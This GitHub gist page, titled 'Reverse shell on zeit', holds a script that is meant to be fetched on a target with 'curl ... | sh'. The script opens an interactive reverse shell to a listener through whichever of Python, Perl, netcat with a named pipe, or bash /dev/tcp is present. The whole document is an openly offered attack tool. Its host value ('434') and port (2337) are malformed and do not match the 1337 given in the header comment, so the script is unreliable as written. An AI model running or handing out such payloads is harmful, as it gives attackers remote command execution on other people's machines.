Skip to content

Instantly share code, notes, and snippets.

@miguelmota
Created March 25, 2019 21:37
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save miguelmota/dcbbaa89d49c654324d0afef37810745 to your computer and use it in GitHub Desktop.
Save miguelmota/dcbbaa89d49c654324d0afef37810745 to your computer and use it in GitHub Desktop.
Reverse shell on zeit
# Reverse Shell
# https://shell.now.sh
#
# 1. On your machine:
# nc -l 1337
#
# 2. On the target machine:
# curl https://shell.now.sh/yourip:1337 | sh
#
if command -v python > /dev/null 2>&1; then
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("434",2337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
exit;
fi
if command -v perl > /dev/null 2>&1; then
perl -e 'use Socket;$i="434";$p=2337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
exit;
fi
if command -v nc > /dev/null 2>&1; then
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 434 2337 >/tmp/f
exit;
fi
if command -v sh > /dev/null 2>&1; then
/bin/sh -i >& /dev/tcp/434/2337 0>&1
exit;
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment